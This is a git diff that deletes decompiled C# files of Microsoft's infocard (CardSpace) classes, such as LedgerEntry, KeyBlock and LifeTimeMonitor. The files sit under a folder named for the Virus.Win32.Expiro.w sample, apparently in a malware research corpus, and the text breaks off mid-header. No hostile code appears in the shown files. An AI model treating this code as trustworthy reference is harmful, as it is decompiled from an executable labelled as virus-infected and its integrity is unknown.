a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IssuerInformation.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IssuerInformation.cs deleted file mode 100644 index f16eb73f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IssuerInformation.cs +++ /dev/null @@ -1,72 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IssuerInformation -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class IssuerInformation - { - private List m_informationEntries; - - public IssuerInformation() => this.m_informationEntries = new List(); - - public void Serialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.m_informationEntries.Count); - if (this.m_informationEntries.Count <= 0) - return; - foreach (IssuerInformationEntry informationEntry in this.m_informationEntries) - { - Utility.SerializeString(writer, informationEntry.Name); - Utility.SerializeString(writer, informationEntry.Value); - } - } - - public void ReadIssuerInformation(XmlReader reader) - { - if (!reader.IsStartElement(nameof (IssuerInformation), "http://schemas.xmlsoap.org/ws/2007/01/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - while (reader.Read()) - { - if ("IssuerInformationEntry" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - this.ReadIssuerInformationEntry(reader); - if (nameof (IssuerInformation) == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && XmlNodeType.EndElement == reader.NodeType) - break; - } - } - - public void ReadIssuerInformationEntry(XmlReader reader) - { - if (!reader.IsStartElement("IssuerInformationEntry", "http://schemas.xmlsoap.org/ws/2007/01/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - string name = string.Empty; - string str = string.Empty; - while (reader.Read()) - { - if ("IssuerInformationEntry" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && XmlNodeType.EndElement == reader.NodeType) - { - this.m_informationEntries.Add(new IssuerInformationEntry(name, str)); - break; - } - if ("EntryName" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - { - name = reader.ReadString(); - if (string.IsNullOrEmpty(name)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException()); - } - if ("EntryValue" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - str = reader.ReadString(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IssuerInformationEntry.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IssuerInformationEntry.cs deleted file mode 100644 index 3c18ba2d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IssuerInformationEntry.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IssuerInformationEntry -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal class IssuerInformationEntry - { - private string entryName; - private string entryValue; - - public string Name => this.entryName; - - public string Value => this.entryValue; - - public IssuerInformationEntry(string name, string value) - { - this.entryName = name; - this.entryValue = value; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs deleted file mode 100644 index 1fc88e26..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KerberosTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class KerberosTokenFactoryCredential : TokenFactoryCredential - { - public KerberosTokenFactoryCredential() - : base(TokenFactoryCredentialType.KerberosCredential) - { - } - - protected override void DeserializeData(BinaryReader reader) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KeyBlock.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KeyBlock.cs deleted file mode 100644 index d815defe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KeyBlock.cs +++ /dev/null @@ -1,47 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KeyBlock -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 592)] - internal struct KeyBlock - { - public const int StructSize = 592; - public const int EncryptedKeyBlockSize = 512; - public const int Pkcs5IVBlockSize = 32; - public const int SaltBlockSize = 32; - public const int IVOffset = 0; - public const int SaltOffset = 32; - public const int IterationCountOffset = 64; - public const int EncryptedKeySizeOffset = 68; - public const int EncryptedKeyOffset = 72; - public const int ReservedPaddingOffset = 584; - public const int KeyTypeOffset = 588; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] - [FieldOffset(0)] - public byte IV; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] - [FieldOffset(32)] - public byte Salt; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(64)] - public int IterationCount; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(68)] - public int EncryptedKeySize; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] - [FieldOffset(72)] - public byte EncryptedKey; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(584)] - private int ReservedPadding; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(588)] - public int KeyType; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KeyBlockV2.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KeyBlockV2.cs deleted file mode 100644 index ec2def50..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KeyBlockV2.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KeyBlockV2 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct KeyBlockV2 - { - public const int StructSize = 8; - public const int keySizeOffset = 0; - public const int keyDataOffset = 4; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(0)] - public int KeyDataSize; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(4)] - public int KeyDataOffset; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KeyGenRestartCodes.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KeyGenRestartCodes.cs deleted file mode 100644 index be41c437..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KeyGenRestartCodes.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KeyGenRestartCodes -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal enum KeyGenRestartCodes - { - X931RestartNone, - X931RestartDTooSmall, - X931RestartNonTrivialGcd, - X931RestartPQOverflow, - X931RestartPQ12OverFlow, - X931RestartXpXqClose, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LedgerEntry.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LedgerEntry.cs deleted file mode 100644 index 12f7b31a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LedgerEntry.cs +++ /dev/null @@ -1,211 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LedgerEntry -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class LedgerEntry - { - private const int InvalidRow = 0; - private const byte Version = 1; - private const byte m_marker = 29; - private bool m_isDirty; - private DateTime m_disclosureDate = DateTime.MinValue; - private string m_recipientId; - private Recipient m_recipient; - private byte[] m_subjectKey; - private string[] m_disclosedClaims; - private Uri m_infoCardId; - private string m_immediateRecipientOrgId; - private int m_rowId; - - public LedgerEntry(Stream stream, StoreConnection connection) - { - InfoCardTrace.Assert(null != stream, " Null input stream"); - InfoCardTrace.Assert(null != connection, "Null storeconnection"); - this.m_isDirty = false; - this.Deserialize(stream); - DataRow singleRow = connection.GetSingleRow(new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - InfoCardTrace.Assert(null != singleRow, "Recipient should always exist in store before a ledger entry is created "); - if (singleRow != null) - this.m_recipient = new Recipient((Stream) new MemoryStream(singleRow.GetDataField())); - this.ThrowIfNotComplete(); - } - - public static LedgerEntry NewLedgerEntry( - Uri infoCardId, - Recipient recipient, - byte[] masterKey, - string immediateTokenRecipientOrganizationIdentifier) - { - return new LedgerEntry(infoCardId, recipient, masterKey, immediateTokenRecipientOrganizationIdentifier); - } - - public LedgerEntry( - Uri infoCardId, - Recipient recipient, - byte[] masterKey, - string immediateTokenRecipientOrganizationIdentifier) - { - InfoCardTrace.Assert(null != recipient, "Null recipient"); - InfoCardTrace.Assert((Uri) null != infoCardId, "Null infocard ID"); - this.m_isDirty = true; - this.m_infoCardId = infoCardId; - this.m_disclosureDate = DateTime.Now; - this.m_recipient = recipient; - this.m_recipientId = recipient.RecipientId; - this.m_immediateRecipientOrgId = immediateTokenRecipientOrganizationIdentifier; - this.m_subjectKey = RsaKeyGen.CreateRsaKeyPairX931(masterKey, Convert.FromBase64String(immediateTokenRecipientOrganizationIdentifier)); - this.ThrowIfNotComplete(); - } - - public bool CheckAndUpdateSubjectKey(string immediateTokenRecipientOrgId, byte[] masterKey) - { - if (!(this.m_immediateRecipientOrgId != immediateTokenRecipientOrgId)) - return false; - this.m_immediateRecipientOrgId = immediateTokenRecipientOrgId; - this.m_subjectKey = RsaKeyGen.CreateRsaKeyPairX931(masterKey, Convert.FromBase64String(immediateTokenRecipientOrgId)); - return true; - } - - public bool IsDirty => this.m_isDirty; - - public DateTime DisclosureDate - { - set - { - this.m_disclosureDate = value; - this.m_isDirty = true; - } - } - - public byte[] SubjectKey - { - get - { - InfoCardTrace.Assert(!Utility.ArrayIsNullOrEmpty((Array) this.m_subjectKey), "SubjectKey not populated!"); - return this.m_subjectKey; - } - } - - public string[] DisclosedClaims - { - get => this.m_disclosedClaims; - set - { - this.m_disclosedClaims = value; - this.m_isDirty = true; - } - } - - public Recipient Recipient => this.m_recipient; - - public Uri InfoCardId => this.m_infoCardId; - - public void ThrowIfNotComplete() - { - if (this.m_immediateRecipientOrgId == null || this.m_recipientId == null || Utility.ArrayIsNullOrEmpty((Array) this.m_subjectKey) || !((Uri) null != this.m_infoCardId) || !(DateTime.MinValue != this.m_disclosureDate)) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Serialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((byte) 1); - writer.Write(this.m_disclosureDate.ToFileTimeUtc()); - Utility.SerializeString(writer, this.m_recipientId); - Utility.SerializeString(writer, this.m_immediateRecipientOrgId); - Utility.SerializeBytes(writer, this.m_subjectKey); - Utility.SerializeUri(writer, this.m_infoCardId); - writer.Write(this.m_disclosedClaims == null ? 0 : this.m_disclosedClaims.Length); - if (this.m_disclosedClaims != null) - { - foreach (string disclosedClaim in this.m_disclosedClaims) - Utility.SerializeString(writer, disclosedClaim); - } - writer.Write((byte) 29); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != reader.ReadByte()) - InfoCardTrace.Assert(false, "version mismatch deserializing ledger"); - this.m_disclosureDate = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_recipientId = Utility.DeserializeString(reader); - this.m_immediateRecipientOrgId = Utility.DeserializeString(reader); - this.m_subjectKey = reader.ReadBytes(reader.ReadInt32()); - this.m_infoCardId = Utility.DeserializeUri(reader); - int length = reader.ReadInt32(); - if (length > 0) - { - this.m_disclosedClaims = new string[length]; - for (int index = 0; index < length; ++index) - this.m_disclosedClaims[index] = Utility.DeserializeString(reader); - } - if ((byte) 29 != reader.ReadByte()) - InfoCardTrace.Assert(false, "Invalid stream detected deserializing ledger"); - this.ThrowIfNotComplete(); - this.m_isDirty = false; - } - - public void Save(StoreConnection con) - { - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - if (row == null) - { - row = new DataRow(); - row.ObjectType = -1; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - row.SetIndexValue("ix_name", (object) this.m_recipientId); - MemoryStream output = new MemoryStream(); - this.Serialize(new BinaryWriter((Stream) output, Encoding.Unicode)); - row.SetDataField(output.ToArray()); - con.GetSingleRow(QueryDetails.FullHeader, new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - if (row != null) - con.Save(row); - else - InfoCardTrace.Assert(false, "Currupt store - no recipient found for ledger"); - this.m_rowId = row.LocalId; - this.m_isDirty = false; - } - - public override string ToString() => base.ToString(); - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "populate infocard before retrieving ledger"); - return con.GetSingleRow(QueryDetails.FullHeader, new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LedgerEntryCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LedgerEntryCollection.cs deleted file mode 100644 index cb0461ed..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LedgerEntryCollection.cs +++ /dev/null @@ -1,65 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LedgerEntryCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class LedgerEntryCollection : Dictionary - { - private Uri m_infoCardId; - - private LedgerEntryCollection() - { - } - - public void Add(LedgerEntry entry) => this[entry.Recipient.RecipientId] = entry; - - public LedgerEntryCollection(Uri infoCardId) => this.m_infoCardId = infoCardId; - - public void Get(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "The infocard id must be specified prior to executing this operation"); - ICollection dataRows = con.Query(QueryDetails.FullRow, new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - if (dataRows == null || dataRows.Count <= 0) - return; - foreach (DataRow dataRow in (List) dataRows) - { - LedgerEntry ledgerEntry = new LedgerEntry((Stream) new MemoryStream(dataRow.GetDataField()), con); - this[ledgerEntry.Recipient.RecipientId] = ledgerEntry; - } - } - - public void Serialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.Count); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - keyValuePair.Value.Serialize(writer); - } - - public void Save(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "The infocard id must be specified prior to executing this operation"); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - LedgerEntry ledgerEntry = keyValuePair.Value; - if (ledgerEntry.IsDirty) - ledgerEntry.Save(con); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LifeTimeMonitor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LifeTimeMonitor.cs deleted file mode 100644 index 5563ca1b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LifeTimeMonitor.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LifeTimeMonitor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.ServiceProcess; -using System.Timers; - -namespace Microsoft.InfoCards -{ - internal class LifeTimeMonitor - { - private const int DefaultShutdownInterval = 3600000; - private const int MinimumShutdownInterval = 60000; - private const string ServiceIdleTimeValue = "ServiceIdleTime"; - private int m_activeCount; - private bool m_isShuttingDown; - private Timer m_shutdownTimer; - private object m_syncRoot = new object(); - - public LifeTimeMonitor() - { - int interval = 3600000; - using (new SystemIdentity(false)) - { - using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(InfoCardConstants.RegistryKey, false)) - { - if (registryKey != null) - { - object obj = registryKey.GetValue("ServiceIdleTime", (object) 3600000); - if (obj is int num) - { - if (num >= 60000) - interval = (int) obj; - } - } - } - } - this.m_activeCount = 0; - this.m_shutdownTimer = new Timer((double) interval); - this.m_shutdownTimer.Elapsed += new ElapsedEventHandler(this.OnShutdown); - this.m_shutdownTimer.AutoReset = false; - this.m_isShuttingDown = false; - this.StartShutdownTimer(); - } - - public void AddClient() - { - lock (this.m_syncRoot) - { - InfoCardTrace.Assert(this.m_activeCount >= 0, "incorrect active count"); - if (this.m_isShuttingDown) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException()); - ++this.m_activeCount; - if (1 != this.m_activeCount) - return; - this.StopShutdownTimer(); - } - } - - public void RemoveClient() - { - lock (this.m_syncRoot) - { - InfoCardTrace.Assert(this.m_activeCount > 0, "invalid active count"); - --this.m_activeCount; - if (this.m_activeCount != 0) - return; - this.StartShutdownTimer(); - } - } - - private void OnShutdown(object sender, ElapsedEventArgs args) - { - lock (this.m_syncRoot) - { - if (this.m_activeCount > 0) - return; - this.m_shutdownTimer.Enabled = false; - this.m_isShuttingDown = true; - InfoCardTrace.Audit(EventCode.AUDIT_SERVICE_IDLE_STOP); - } - using (new SystemIdentity(false)) - new ServiceController("idsvc").Stop(); - } - - private void StartShutdownTimer() => this.m_shutdownTimer.Start(); - - private void StopShutdownTimer() => this.m_shutdownTimer.Stop(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ListCardsInFileRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ListCardsInFileRequest.cs deleted file mode 100644 index c44e7693..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ListCardsInFileRequest.cs +++ /dev/null @@ -1,154 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ListCardsInFileRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.IO; -using System.Security.Cryptography; -using System.Text; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class ListCardsInFileRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private RoamingStoreFile m_roamingFile; - private string m_filename; - private string m_passphrase; - - public ListCardsInFileRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.m_roamingFile = new RoamingStoreFile(); - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_filename = Utility.DeserializeString(reader); - this.m_passphrase = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - this.Cleanup(false, true); - try - { - try - { - using (FileStream fileStream = new FileStream(this.m_filename, FileMode.Open, FileAccess.Read, FileShare.Read)) - { - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - defaultReaderSettings.IgnoreWhitespace = false; - using (XmlReader reader = InfoCardSchemas.CreateReader((Stream) fileStream, defaultReaderSettings)) - { - this.m_roamingFile.ReadFrom(this.m_passphrase, reader); - this.ParentRequest.SetContext(this.m_roamingFile); - } - } - } - catch (ImportException ex) - { - throw; - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PasswordValidationException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - } - catch (ImportException ex) - { - this.Cleanup(false, true); - throw InfoCardTrace.ThrowHelperError((Exception) new ImportStoreException(ex.Message)); - } - finally - { - this.Cleanup(true, false); - } - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - BinaryWriter binaryWriter = new BinaryWriter(outArgs); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - if (this.m_roamingFile != null) - { - if (this.m_roamingFile.Cards.Count != 0) - { - try - { - binaryWriter.Write(this.m_roamingFile.Cards.Count); - for (int index = 0; index < this.m_roamingFile.Cards.Count; ++index) - { - binaryWriter.Flush(); - this.m_roamingFile.Cards[index].AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - return; - } - catch (Exception ex) - { - this.Cleanup(true, true); - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportStoreException(SR.GetString("InvalidImportFile"), ex)); - throw; - } - } - } - binaryWriter.Write(0); - } - finally - { - connection.Close(); - } - } - - private void Cleanup(bool clearPwd, bool clearRoamingFile) - { - if (clearRoamingFile) - { - if (this.m_roamingFile != null) - this.m_roamingFile.Clear(); - if (this.ParentRequest != null) - this.ParentRequest.ClearContext(); - } - if (!clearPwd) - return; - this.m_passphrase = (string) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ListDependantCardsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ListDependantCardsRequest.cs deleted file mode 100644 index a33e4e19..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ListDependantCardsRequest.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: 